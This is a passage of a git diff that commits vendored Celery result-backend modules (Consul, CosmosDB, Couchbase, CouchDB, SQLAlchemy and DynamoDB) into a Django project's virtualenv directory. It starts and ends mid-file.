self.decode(traceback), + 'children': self.decode(children), + }) + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + kwargs.update( + {'servers': self.servers, + 'keyspace': self.keyspace, + 'table': self.table}) + return super().__reduce__(args, kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/consul.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/consul.py new file mode 100644 index 00000000..a4ab1484 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/consul.py @@ -0,0 +1,116 @@ +"""Consul result store backend. + +- :class:`ConsulBackend` implements KeyValueStoreBackend to store results + in the key-value store of Consul. +""" +from kombu.utils.encoding import bytes_to_str +from kombu.utils.url import parse_url + +from celery.backends.base import KeyValueStoreBackend +from celery.exceptions import ImproperlyConfigured +from celery.utils.log import get_logger + +try: + import consul +except ImportError: + consul = None + +logger = get_logger(__name__) + +__all__ = ('ConsulBackend',) + +CONSUL_MISSING = """\ +You need to install the python-consul library in order to use \ +the Consul result store backend.""" + + +class ConsulBackend(KeyValueStoreBackend): + """Consul.io K/V store backend for Celery.""" + + consul = consul + + supports_autoexpire = True + + consistency = 'consistent' + path = None + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + if self.consul is None: + raise ImproperlyConfigured(CONSUL_MISSING) + # + # By default, for correctness, we use a client connection per + # operation. If set, self.one_client will be used for all operations. + # This provides for the original behaviour to be selected, and is + # also convenient for mocking in the unit tests. + # + self.one_client = None + self._init_from_params(**parse_url(self.url)) + + def _init_from_params(self, hostname, port, virtual_host, **params): + logger.debug('Setting on Consul client to connect to %s:%d', + hostname, port) + self.path = virtual_host + self.hostname = hostname + self.port = port + # + # Optionally, allow a single client connection to be used to reduce + # the connection load on Consul by adding a "one_client=1" parameter + # to the URL. + # + if params.get('one_client', None): + self.one_client = self.client() + + def client(self): + return self.one_client or consul.Consul(host=self.hostname, + port=self.port, + consistency=self.consistency) + + def _key_to_consul_key(self, key): + key = bytes_to_str(key) + return key if self.path is None else f'{self.path}/{key}' + + def get(self, key): + key = self._key_to_consul_key(key) + logger.debug('Trying to fetch key %s from Consul', key) + try: + _, data = self.client().kv.get(key) + return data['Value'] + except TypeError: + pass + + def mget(self, keys): + for key in keys: + yield self.get(key) + + def set(self, key, value): + """Set a key in Consul. + + Before creating the key it will create a session inside Consul + where it creates a session with a TTL + + The key created afterwards will reference to the session's ID. + + If the session expires it will remove the key so that results + can auto expire from the K/V store + """ + session_name = bytes_to_str(key) + + key = self._key_to_consul_key(key) + + logger.debug('Trying to create Consul session %s with TTL %d', + session_name, self.expires) + client = self.client() + session_id = client.session.create(name=session_name, + behavior='delete', + ttl=self.expires) + logger.debug('Created Consul session %s', session_id) + + logger.debug('Writing key %s to Consul', key) + return client.kv.put(key=key, value=value, acquire=session_id) + + def delete(self, key): + key = self._key_to_consul_key(key) + logger.debug('Removing key %s from Consul', key) + return self.client().kv.delete(key) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/cosmosdbsql.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/cosmosdbsql.py new file mode 100644 index 00000000..344e46ed --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/cosmosdbsql.py @@ -0,0 +1,219 @@ +"""The CosmosDB/SQL backend for Celery (experimental).""" +from kombu.utils import cached_property +from kombu.utils.encoding import bytes_to_str +from kombu.utils.url import _parse_url + +from celery.exceptions import ImproperlyConfigured +from celery.utils.log import get_logger + +from .base import KeyValueStoreBackend + +try: + import pydocumentdb + from pydocumentdb.document_client import DocumentClient + from pydocumentdb.documents import (ConnectionPolicy, ConsistencyLevel, + PartitionKind) + from pydocumentdb.errors import HTTPFailure + from pydocumentdb.retry_options import RetryOptions +except ImportError: # pragma: no cover + pydocumentdb = DocumentClient = ConsistencyLevel = PartitionKind = \ + HTTPFailure = ConnectionPolicy = RetryOptions = None + +__all__ = ("CosmosDBSQLBackend",) + + +ERROR_NOT_FOUND = 404 +ERROR_EXISTS = 409 + +LOGGER = get_logger(__name__) + + +class CosmosDBSQLBackend(KeyValueStoreBackend): + """CosmosDB/SQL backend for Celery.""" + + def __init__(self, + url=None, + database_name=None, + collection_name=None, + consistency_level=None, + max_retry_attempts=None, + max_retry_wait_time=None, + *args, + **kwargs): + super().__init__(*args, **kwargs) + + if pydocumentdb is None: + raise ImproperlyConfigured( + "You need to install the pydocumentdb library to use the " + "CosmosDB backend.") + + conf = self.app.conf + + self._endpoint, self._key = self._parse_url(url) + + self._database_name = ( + database_name or + conf["cosmosdbsql_database_name"]) + + self._collection_name = ( + collection_name or + conf["cosmosdbsql_collection_name"]) + + try: + self._consistency_level = getattr( + ConsistencyLevel, + consistency_level or + conf["cosmosdbsql_consistency_level"]) + except AttributeError: + raise ImproperlyConfigured("Unknown CosmosDB consistency level") + + self._max_retry_attempts = ( + max_retry_attempts or + conf["cosmosdbsql_max_retry_attempts"]) + + self._max_retry_wait_time = ( + max_retry_wait_time or + conf["cosmosdbsql_max_retry_wait_time"]) + + @classmethod + def _parse_url(cls, url): + _, host, port, _, password, _, _ = _parse_url(url) + + if not host or not password: + raise ImproperlyConfigured("Invalid URL") + + if not port: + port = 443 + + scheme = "https" if port == 443 else "http" + endpoint = f"{scheme}://{host}:{port}" + return endpoint, password + + @cached_property + def _client(self): + """Return the CosmosDB/SQL client. + + If this is the first call to the property, the client is created and + the database and collection are initialized if they don't yet exist. + + """ + connection_policy = ConnectionPolicy() + connection_policy.RetryOptions = RetryOptions( + max_retry_attempt_count=self._max_retry_attempts, + max_wait_time_in_seconds=self._max_retry_wait_time) + + client = DocumentClient( + self._endpoint, + {"masterKey": self._key}, + connection_policy=connection_policy, + consistency_level=self._consistency_level) + + self._create_database_if_not_exists(client) + self._create_collection_if_not_exists(client) + + return client + + def _create_database_if_not_exists(self, client): + try: + client.CreateDatabase({"id": self._database_name}) + except HTTPFailure as ex: + if ex.status_code != ERROR_EXISTS: + raise + else: + LOGGER.info("Created CosmosDB database %s", + self._database_name) + + def _create_collection_if_not_exists(self, client): + try: + client.CreateCollection( + self._database_link, + {"id": self._collection_name, + "partitionKey": {"paths": ["/id"], + "kind": PartitionKind.Hash}}) + except HTTPFailure as ex: + if ex.status_code != ERROR_EXISTS: + raise + else: + LOGGER.info("Created CosmosDB collection %s/%s", + self._database_name, self._collection_name) + + @cached_property + def _database_link(self): + return "dbs/" + self._database_name + + @cached_property + def _collection_link(self): + return self._database_link + "/colls/" + self._collection_name + + def _get_document_link(self, key): + return self._collection_link + "/docs/" + key + + @classmethod + def _get_partition_key(cls, key): + if not key or key.isspace(): + raise ValueError("Key cannot be none, empty or whitespace.") + + return {"partitionKey": key} + + def get(self, key): + """Read the value stored at the given key. + + Args: + key: The key for which to read the value. + + """ + key = bytes_to_str(key) + LOGGER.debug("Getting CosmosDB document %s/%s/%s", + self._database_name, self._collection_name, key) + + try: + document = self._client.ReadDocument( + self._get_document_link(key), + self._get_partition_key(key)) + except HTTPFailure as ex: + if ex.status_code != ERROR_NOT_FOUND: + raise + return None + else: + return document.get("value") + + def set(self, key, value): + """Store a value for a given key. + + Args: + key: The key at which to store the value. + value: The value to store. + + """ + key = bytes_to_str(key) + LOGGER.debug("Creating CosmosDB document %s/%s/%s", + self._database_name, self._collection_name, key) + + self._client.CreateDocument( + self._collection_link, + {"id": key, "value": value}, + self._get_partition_key(key)) + + def mget(self, keys): + """Read all the values for the provided keys. + + Args: + keys: The list of keys to read. + + """ + return [self.get(key) for key in keys] + + def delete(self, key): + """Delete the value at a given key. + + Args: + key: The key of the value to delete. + + """ + key = bytes_to_str(key) + LOGGER.debug("Deleting CosmosDB document %s/%s/%s", + self._database_name, self._collection_name, key) + + self._client.DeleteDocument( + self._get_document_link(key), + self._get_partition_key(key)) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/couchbase.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/couchbase.py new file mode 100644 index 00000000..9ed594c4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/couchbase.py @@ -0,0 +1,106 @@ +"""Couchbase result store backend.""" + +from kombu.utils.url import _parse_url + +from celery.exceptions import ImproperlyConfigured + +from .base import KeyValueStoreBackend + +try: + from couchbase.auth import PasswordAuthenticator + from couchbase.cluster import Cluster, ClusterOptions + from couchbase_core._libcouchbase import FMT_AUTO +except ImportError: + Cluster = PasswordAuthenticator = ClusterOptions = None + +__all__ = ('CouchbaseBackend',) + + +class CouchbaseBackend(KeyValueStoreBackend): + """Couchbase backend. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`couchbase` is not available. + """ + + bucket = 'default' + host = 'localhost' + port = 8091 + username = None + password = None + quiet = False + supports_autoexpire = True + + timeout = 2.5 + + # Use str as couchbase key not bytes + key_t = str + + def __init__(self, url=None, *args, **kwargs): + kwargs.setdefault('expires_type', int) + super().__init__(*args, **kwargs) + self.url = url + + if Cluster is None: + raise ImproperlyConfigured( + 'You need to install the couchbase library to use the ' + 'Couchbase backend.', + ) + + uhost = uport = uname = upass = ubucket = None + if url: + _, uhost, uport, uname, upass, ubucket, _ = _parse_url(url) + ubucket = ubucket.strip('/') if ubucket else None + + config = self.app.conf.get('couchbase_backend_settings', None) + if config is not None: + if not isinstance(config, dict): + raise ImproperlyConfigured( + 'Couchbase backend settings should be grouped in a dict', + ) + else: + config = {} + + self.host = uhost or config.get('host', self.host) + self.port = int(uport or config.get('port', self.port)) + self.bucket = ubucket or config.get('bucket', self.bucket) + self.username = uname or config.get('username', self.username) + self.password = upass or config.get('password', self.password) + + self._connection = None + + def _get_connection(self): + """Connect to the Couchbase server.""" + if self._connection is None: + if self.host and self.port: + uri = f"couchbase://{self.host}:{self.port}" + else: + uri = f"couchbase://{self.host}" + if self.username and self.password: + opt = PasswordAuthenticator(self.username, self.password) + else: + opt = None + + cluster = Cluster(uri, opt) + + bucket = cluster.bucket(self.bucket) + + self._connection = bucket.default_collection() + return self._connection + + @property + def connection(self): + return self._get_connection() + + def get(self, key): + return self.connection.get(key).content + + def set(self, key, value): + self.connection.upsert(key, value, ttl=self.expires, format=FMT_AUTO) + + def mget(self, keys): + return self.connection.get_multi(keys) + + def delete(self, key): + self.connection.remove(key) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/couchdb.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/couchdb.py new file mode 100644 index 00000000..a4b040da --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/couchdb.py @@ -0,0 +1,99 @@ +"""CouchDB result store backend.""" +from kombu.utils.encoding import bytes_to_str +from kombu.utils.url import _parse_url + +from celery.exceptions import ImproperlyConfigured + +from .base import KeyValueStoreBackend + +try: + import pycouchdb +except ImportError: + pycouchdb = None + +__all__ = ('CouchBackend',) + +ERR_LIB_MISSING = """\ +You need to install the pycouchdb library to use the CouchDB result backend\ +""" + + +class CouchBackend(KeyValueStoreBackend): + """CouchDB backend. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`pycouchdb` is not available. + """ + + container = 'default' + scheme = 'http' + host = 'localhost' + port = 5984 + username = None + password = None + + def __init__(self, url=None, *args, **kwargs): + super().__init__(*args, **kwargs) + self.url = url + + if pycouchdb is None: + raise ImproperlyConfigured(ERR_LIB_MISSING) + + uscheme = uhost = uport = uname = upass = ucontainer = None + if url: + _, uhost, uport, uname, upass, ucontainer, _ = _parse_url(url) + ucontainer = ucontainer.strip('/') if ucontainer else None + + self.scheme = uscheme or self.scheme + self.host = uhost or self.host + self.port = int(uport or self.port) + self.container = ucontainer or self.container + self.username = uname or self.username + self.password = upass or self.password + + self._connection = None + + def _get_connection(self): + """Connect to the CouchDB server.""" + if self.username and self.password: + conn_string = f'{self.scheme}://{self.username}:{self.password}@{self.host}:{self.port}' + server = pycouchdb.Server(conn_string, authmethod='basic') + else: + conn_string = f'{self.scheme}://{self.host}:{self.port}' + server = pycouchdb.Server(conn_string) + + try: + return server.database(self.container) + except pycouchdb.exceptions.NotFound: + return server.create(self.container) + + @property + def connection(self): + if self._connection is None: + self._connection = self._get_connection() + return self._connection + + def get(self, key): + key = bytes_to_str(key) + try: + return self.connection.get(key)['value'] + except pycouchdb.exceptions.NotFound: + return None + + def set(self, key, value): + key = bytes_to_str(key) + data = {'_id': key, 'value': value} + try: + self.connection.save(data) + except pycouchdb.exceptions.Conflict: + # document already exists, update it + data = self.connection.get(key) + data['value'] = value + self.connection.save(data) + + def mget(self, keys): + return [self.get(key) for key in keys] + + def delete(self, key): + self.connection.delete(key) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/database/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/database/__init__.py new file mode 100644 index 00000000..fb26d552 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/database/__init__.py @@ -0,0 +1,222 @@ +"""SQLAlchemy result store backend.""" +import logging +from contextlib import contextmanager + +from vine.utils import wraps + +from celery import states +from celery.backends.base import BaseBackend +from celery.exceptions import ImproperlyConfigured +from celery.utils.time import maybe_timedelta + +from .models import Task, TaskExtended, TaskSet +from .session import SessionManager + +try: + from sqlalchemy.exc import DatabaseError, InvalidRequestError + from sqlalchemy.orm.exc import StaleDataError +except ImportError: # pragma: no cover + raise ImproperlyConfigured( + 'The database result backend requires SQLAlchemy to be installed.' + 'See https://pypi.org/project/SQLAlchemy/') + +logger = logging.getLogger(__name__) + +__all__ = ('DatabaseBackend',) + + +@contextmanager +def session_cleanup(session): + try: + yield + except Exception: + session.rollback() + raise + finally: + session.close() + + +def retry(fun): + + @wraps(fun) + def _inner(*args, **kwargs): + max_retries = kwargs.pop('max_retries', 3) + + for retries in range(max_retries): + try: + return fun(*args, **kwargs) + except (DatabaseError, InvalidRequestError, StaleDataError): + logger.warning( + 'Failed operation %s. Retrying %s more times.', + fun.__name__, max_retries - retries - 1, + exc_info=True) + if retries + 1 >= max_retries: + raise + + return _inner + + +class DatabaseBackend(BaseBackend): + """The database result backend.""" + + # ResultSet.iterate should sleep this much between each pool, + # to not bombard the database with queries. + subpolling_interval = 0.5 + + task_cls = Task + taskset_cls = TaskSet + + def __init__(self, dburi=None, engine_options=None, url=None, **kwargs): + # The `url` argument was added later and is used by + # the app to set backend by url (celery.app.backends.by_url) + super().__init__(expires_type=maybe_timedelta, + url=url, **kwargs) + conf = self.app.conf + + if self.extended_result: + self.task_cls = TaskExtended + + self.url = url or dburi or conf.database_url + self.engine_options = dict( + engine_options or {}, + **conf.database_engine_options or {}) + self.short_lived_sessions = kwargs.get( + 'short_lived_sessions', + conf.database_short_lived_sessions) + + schemas = conf.database_table_schemas or {} + tablenames = conf.database_table_names or {} + self.task_cls.configure( + schema=schemas.get('task'), + name=tablenames.get('task')) + self.taskset_cls.configure( + schema=schemas.get('group'), + name=tablenames.get('group')) + + if not self.url: + raise ImproperlyConfigured( + 'Missing connection string! Do you have the' + ' database_url setting set to a real value?') + + @property + def extended_result(self): + return self.app.conf.find_value_for_key('extended', 'result') + + def ResultSession(self, session_manager=SessionManager()): + return session_manager.session_factory( + dburi=self.url, + short_lived_sessions=self.short_lived_sessions, + **self.engine_options) + + @retry + def _store_result(self, task_id, result, state, traceback=None, + request=None, **kwargs): + """Store return value and state of an executed task.""" + session = self.ResultSession() + with session_cleanup(session): + task = list(session.query(self.task_cls).filter(self.task_cls.task_id == task_id)) + task = task and task[0] + if not task: + task = self.task_cls(task_id) + task.task_id = task_id + session.add(task) + session.flush() + + self._update_result(task, result, state, traceback=traceback, request=request) + session.commit() + + def _update_result(self, task, result, state, traceback=None, + request=None): + + meta = self._get_result_meta(result=result, state=state, + traceback=traceback, request=request, + format_date=False, encode=True) + + # Exclude the primary key id and task_id columns + # as we should not set it None + columns = [column.name for column in self.task_cls.__table__.columns + if column.name not in {'id', 'task_id'}] + + # Iterate through the columns name of the table + # to set the value from meta. + # If the value is not present in meta, set None + for column in columns: + value = meta.get(column) + setattr(task, column, value) + + @retry + def _get_task_meta_for(self, task_id): + """Get task meta-data for a task by id.""" + session = self.ResultSession() + with session_cleanup(session): + task = list(session.query(self.task_cls).filter(self.task_cls.task_id == task_id)) + task = task and task[0] + if not task: + task = self.task_cls(task_id) + task.status = states.PENDING + task.result = None + data = task.to_dict() + if data.get('args', None) is not None: + data['args'] = self.decode(data['args']) + if data.get('kwargs', None) is not None: + data['kwargs'] = self.decode(data['kwargs']) + return self.meta_from_decoded(data) + + @retry + def _save_group(self, group_id, result): + """Store the result of an executed group.""" + session = self.ResultSession() + with session_cleanup(session): + group = self.taskset_cls(group_id, result) + session.add(group) + session.flush() + session.commit() + return result + + @retry + def _restore_group(self, group_id): + """Get meta-data for group by id.""" + session = self.ResultSession() + with session_cleanup(session): + group = session.query(self.taskset_cls).filter( + self.taskset_cls.taskset_id == group_id).first() + if group: + return group.to_dict() + + @retry + def _delete_group(self, group_id): + """Delete meta-data for group by id.""" + session = self.ResultSession() + with session_cleanup(session): + session.query(self.taskset_cls).filter( + self.taskset_cls.taskset_id == group_id).delete() + session.flush() + session.commit() + + @retry + def _forget(self, task_id): + """Forget about result.""" + session = self.ResultSession() + with session_cleanup(session): + session.query(self.task_cls).filter(self.task_cls.task_id == task_id).delete() + session.commit() + + def cleanup(self): + """Delete expired meta-data.""" + session = self.ResultSession() + expires = self.expires + now = self.app.now() + with session_cleanup(session): + session.query(self.task_cls).filter( + self.task_cls.date_done < (now - expires)).delete() + session.query(self.taskset_cls).filter( + self.taskset_cls.date_done < (now - expires)).delete() + session.commit() + + def __reduce__(self, args=(), kwargs=None): + kwargs = {} if not kwargs else kwargs + kwargs.update( + {'dburi': self.url, + 'expires': self.expires, + 'engine_options': self.engine_options}) + return super().__reduce__(args, kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/database/models.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/database/models.py new file mode 100644 index 00000000..1c766b51 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/database/models.py @@ -0,0 +1,108 @@ +"""Database models used by the SQLAlchemy result store backend.""" +from datetime import datetime + +import sqlalchemy as sa +from sqlalchemy.types import PickleType + +from celery import states + +from .session import ResultModelBase + +__all__ = ('Task', 'TaskExtended', 'TaskSet') + + +class Task(ResultModelBase): + """Task result/status.""" + + __tablename__ = 'celery_taskmeta' + __table_args__ = {'sqlite_autoincrement': True} + + id = sa.Column(sa.Integer, sa.Sequence('task_id_sequence'), + primary_key=True, autoincrement=True) + task_id = sa.Column(sa.String(155), unique=True) + status = sa.Column(sa.String(50), default=states.PENDING) + result = sa.Column(PickleType, nullable=True) + date_done = sa.Column(sa.DateTime, default=datetime.utcnow, + onupdate=datetime.utcnow, nullable=True) + traceback = sa.Column(sa.Text, nullable=True) + + def __init__(self, task_id): + self.task_id = task_id + + def to_dict(self): + return { + 'task_id': self.task_id, + 'status': self.status, + 'result': self.result, + 'traceback': self.traceback, + 'date_done': self.date_done, + } + + def __repr__(self): + return ''.format(self) + + @classmethod + def configure(cls, schema=None, name=None): + cls.__table__.schema = schema + cls.id.default.schema = schema + cls.__table__.name = name or cls.__tablename__ + + +class TaskExtended(Task): + """For the extend result.""" + + __tablename__ = 'celery_taskmeta' + __table_args__ = {'sqlite_autoincrement': True, 'extend_existing': True} + + name = sa.Column(sa.String(155), nullable=True) + args = sa.Column(sa.LargeBinary, nullable=True) + kwargs = sa.Column(sa.LargeBinary, nullable=True) + worker = sa.Column(sa.String(155), nullable=True) + retries = sa.Column(sa.Integer, nullable=True) + queue = sa.Column(sa.String(155), nullable=True) + + def to_dict(self): + task_dict = super().to_dict() + task_dict.update({ + 'name': self.name, + 'args': self.args, + 'kwargs': self.kwargs, + 'worker': self.worker, + 'retries': self.retries, + 'queue': self.queue, + }) + return task_dict + + +class TaskSet(ResultModelBase): + """TaskSet result.""" + + __tablename__ = 'celery_tasksetmeta' + __table_args__ = {'sqlite_autoincrement': True} + + id = sa.Column(sa.Integer, sa.Sequence('taskset_id_sequence'), + autoincrement=True, primary_key=True) + taskset_id = sa.Column(sa.String(155), unique=True) + result = sa.Column(PickleType, nullable=True) + date_done = sa.Column(sa.DateTime, default=datetime.utcnow, + nullable=True) + + def __init__(self, taskset_id, result): + self.taskset_id = taskset_id + self.result = result + + def to_dict(self): + return { + 'taskset_id': self.taskset_id, + 'result': self.result, + 'date_done': self.date_done, + } + + def __repr__(self): + return f'' + + @classmethod + def configure(cls, schema=None, name=None): + cls.__table__.schema = schema + cls.id.default.schema = schema + cls.__table__.name = name or cls.__tablename__ diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/database/session.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/database/session.py new file mode 100644 index 00000000..415d4623 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/database/session.py @@ -0,0 +1,89 @@ +"""SQLAlchemy session.""" +import time + +from kombu.utils.compat import register_after_fork +from sqlalchemy import create_engine +from sqlalchemy.exc import DatabaseError +from sqlalchemy.orm import sessionmaker +from sqlalchemy.pool import NullPool + +from celery.utils.time import get_exponential_backoff_interval + +try: + from sqlalchemy.orm import declarative_base +except ImportError: + # TODO: Remove this once we drop support for SQLAlchemy < 1.4. + from sqlalchemy.ext.declarative import declarative_base + +ResultModelBase = declarative_base() + +__all__ = ('SessionManager',) + +PREPARE_MODELS_MAX_RETRIES = 10 + + +def _after_fork_cleanup_session(session): + session._after_fork() + + +class SessionManager: + """Manage SQLAlchemy sessions.""" + + def __init__(self): + self._engines = {} + self._sessions = {} + self.forked = False + self.prepared = False + if register_after_fork is not None: + register_after_fork(self, _after_fork_cleanup_session) + + def _after_fork(self): + self.forked = True + + def get_engine(self, dburi, **kwargs): + if self.forked: + try: + return self._engines[dburi] + except KeyError: + engine = self._engines[dburi] = create_engine(dburi, **kwargs) + return engine + else: + kwargs = {k: v for k, v in kwargs.items() if + not k.startswith('pool')} + return create_engine(dburi, poolclass=NullPool, **kwargs) + + def create_session(self, dburi, short_lived_sessions=False, **kwargs): + engine = self.get_engine(dburi, **kwargs) + if self.forked: + if short_lived_sessions or dburi not in self._sessions: + self._sessions[dburi] = sessionmaker(bind=engine) + return engine, self._sessions[dburi] + return engine, sessionmaker(bind=engine) + + def prepare_models(self, engine): + if not self.prepared: + # SQLAlchemy will check if the items exist before trying to + # create them, which is a race condition. If it raises an error + # in one iteration, the next may pass all the existence checks + # and the call will succeed. + retries = 0 + while True: + try: + ResultModelBase.metadata.create_all(engine) + except DatabaseError: + if retries < PREPARE_MODELS_MAX_RETRIES: + sleep_amount_ms = get_exponential_backoff_interval( + 10, retries, 1000, True + ) + time.sleep(sleep_amount_ms / 1000) + retries += 1 + else: + raise + else: + break + self.prepared = True + + def session_factory(self, dburi, **kwargs): + engine, session = self.create_session(dburi, **kwargs) + self.prepare_models(engine) + return session() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/dynamodb.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/dynamodb.py new file mode 100644 index 00000000..4fbd9aaf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/dynamodb.py @@ -0,0 +1,496 @@ +"""AWS DynamoDB result store backend.""" +from collections import namedtuple +from time import sleep, time + +from kombu.utils.url import _parse_url as parse_url + +from celery.exceptions import ImproperlyConfigured +from celery.utils.log import get_logger + +from .base import KeyValueStoreBackend + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: # pragma: no cover + boto3 = ClientError = None + +__all__ = ('DynamoDBBackend',) + + +# Helper class that describes a DynamoDB attribute +DynamoDBAttribute = namedtuple('DynamoDBAttribute', ('name', 'data_type')) + +logger = get_logger(__name__) + + +class DynamoDBBackend(KeyValueStoreBackend): + """AWS DynamoDB result backend. + + Raises: + celery.exceptions.ImproperlyConfigured: + if module :pypi:`boto3` is not available. + """ + + #: default DynamoDB table name (`default`) + table_name = 'celery' + + #: Read Provisioned Throughput (`default`) + read_capacity_units = 1 + + #: Write Provisioned Throughput (`default`) + write_capacity_units = 1 + + #: AWS region (`default`) + aws_region = None + + #: The endpoint URL that is passed to boto3 (local DynamoDB) (`default`) + endpoint_url = None + + #: Item time-to-live in seconds (`default`) + time_to_live_seconds = None + + # DynamoDB supports Time to Live as an auto-expiry mechanism. + supports_autoexpire = True + + _key_field = DynamoDBAttribute(name='id', data_type='S') + _value_field = DynamoDBAttribute(name='result', data_type='B') + _timestamp_field = DynamoDBAttribute(name='timestamp', data_type='N') + _ttl_field = DynamoDBAttribute(name='ttl', data_type='N') + _available_fields = None + + def __init__(self, url=None, table_name=None, *args, **kwargs): + super().__init__(*args, **kwargs) + + self.url = url + self.table_name = table_name or self.table_name + + if not boto3: + raise ImproperlyConfigured( + 'You need to install the boto3 library to use the ' + 'DynamoDB backend.') + + aws_credentials_given = False + aws_access_key_id = None + aws_secret_access_key = None + + if url is not None: + scheme, region, port, username, password, table, query = \ + parse_url(url) + + aws_access_key_id = username + aws_secret_access_key = password + + access_key_given = aws_access_key_id is not None + secret_key_given = aws_secret_access_key is not None + + if access_key_given != secret_key_given: + raise ImproperlyConfigured( + 'You need to specify both the Access Key ID ' + 'and Secret.') + + aws_credentials_given = access_key_given + + if region == 'localhost': + # We are using the downloadable, local version of DynamoDB + self.endpoint_url = f'http://localhost:{port}' + self.aws_region = 'us-east-1' + logger.warning( + 'Using local-only DynamoDB endpoint URL: {}'.format( + self.endpoint_url + ) + ) + else: + self.aws_region = region + + # If endpoint_url is explicitly set use it instead + _get = self.app.conf.get + config_endpoint_url = _get('dynamodb_endpoint_url') + if config_endpoint_url: + self.endpoint_url = config_endpoint_url + + self.read_capacity_units = int( + query.get( + 'read', + self.read_capacity_units + ) + ) + self.write_capacity_units = int( + query.get( + 'write', + self.write_capacity_units + ) + ) + + ttl = query.get('ttl_seconds', self.time_to_live_seconds) + if ttl: + try: + self.time_to_live_seconds = int(ttl) + except ValueError as e: + logger.error( + 'TTL must be a number; got "{ttl}"', + exc_info=e + ) + raise e + + self.table_name = table or self.table_name + + self._available_fields = ( + self._key_field, + self._value_field, + self._timestamp_field + ) + + self._client = None + if aws_credentials_given: + self._get_client( + access_key_id=aws_access_key_id, + secret_access_key=aws_secret_access_key + ) + + def _get_client(self, access_key_id=None, secret_access_key=None): + """Get client connection.""" + if self._client is None: + client_parameters = { + 'region_name': self.aws_region + } + if access_key_id is not None: + client_parameters.update({ + 'aws_access_key_id': access_key_id, + 'aws_secret_access_key': secret_access_key + }) + + if self.endpoint_url is not None: + client_parameters['endpoint_url'] = self.endpoint_url + + self._client = boto3.client( + 'dynamodb', + **client_parameters + ) + self._get_or_create_table() + + if self._has_ttl() is not None: + self._validate_ttl_methods() + self._set_table_ttl() + + return self._client + + def _get_table_schema(self): + """Get the boto3 structure describing the DynamoDB table schema.""" + return { + 'AttributeDefinitions': [ + { + 'AttributeName': self._key_field.name, + 'AttributeType': self._key_field.data_type + } + ], + 'TableName': self.table_name, + 'KeySchema': [ + { + 'AttributeName': self._key_field.name, + 'KeyType': 'HASH' + } + ], + 'ProvisionedThroughput': { + 'ReadCapacityUnits': self.read_capacity_units, + 'WriteCapacityUnits': self.write_capacity_units + } + } + + def _get_or_create_table(self): + """Create table if not exists, otherwise return the description.""" + table_schema = self._get_table_schema() + try: + table_description = self._client.create_table(**table_schema) + logger.info( + 'DynamoDB Table {} did not exist, creating.'.format( + self.table_name + ) + ) + # In case we created the table, wait until it becomes available. + self._wait_for_table_status('ACTIVE') + logger.info( + 'DynamoDB Table {} is now available.'.format( + self.table_name + ) + ) + return table_description + except ClientError as e: + error_code = e.response['Error'].get('Code', 'Unknown') + + # If table exists, do not fail, just return the description. + if error_code == 'ResourceInUseException': + return self._client.describe_table( + TableName=self.table_name + ) + else: + raise e + + def _has_ttl(self): + """Return the desired Time to Live config. + + - True: Enable TTL on the table; use expiry. + - False: Disable TTL on the table; don't use expiry. + - None: Ignore TTL on the table; don't use expiry. + """ + return None if self.time_to_live_seconds is None \ + else self.time_to_live_seconds >= 0 + + def _validate_ttl_methods(self): + """Verify boto support for the DynamoDB Time to Live methods.""" + # Required TTL methods. + required_methods = ( + 'update_time_to_live', + 'describe_time_to_live', + ) + + # Find missing methods. + missing_methods = [] + for method in list(required_methods): + if not hasattr(self._client, method): + missing_methods.append(method) + + if missing_methods: + logger.error( + ( + 'boto3 method(s) {methods} not found; ensure that ' + 'boto3>=1.9.178 and botocore>=1.12.178 are installed' + ).format( + methods=','.join(missing_methods) + ) + ) + raise AttributeError( + 'boto3 method(s) {methods} not found'.format( + methods=','.join(missing_methods) + ) + ) + + def _get_ttl_specification(self, ttl_attr_name): + """Get the boto3 structure describing the DynamoDB TTL specification.""" + return { + 'TableName': self.table_name, + 'TimeToLiveSpecification': { + 'Enabled': self._has_ttl(), + 'AttributeName': ttl_attr_name + } + } + + def _get_table_ttl_description(self): + # Get the current TTL description. + try: + description = self._client.describe_time_to_live( + TableName=self.table_name + ) + except ClientError as e: + error_code = e.response['Error'].get('Code', 'Unknown') + error_message = e.response['Error'].get('Message', 'Unknown') + logger.error(( + 'Error describing Time to Live on DynamoDB table {table}: ' + '{code}: {message}' + ).format( + table=self.table_name, + code=error_code, + message=error_message, + )) + raise e + + return description + + def _set_table_ttl(self): + """Enable or disable Time to Live on the table.""" + # Get the table TTL description, and return early when possible. + description = self._get_table_ttl_description() + status = description['TimeToLiveDescription']['TimeToLiveStatus'] + if status in ('ENABLED', 'ENABLING'): + cur_attr_name = \ + description['TimeToLiveDescription']['AttributeName'] + if self._has_ttl(): + if cur_attr_name == self._ttl_field.name: + # We want TTL enabled, and it is currently enabled or being + # enabled, and on the correct attribute. + logger.debug(( + 'DynamoDB Time to Live is {situation} ' + 'on table {table}' 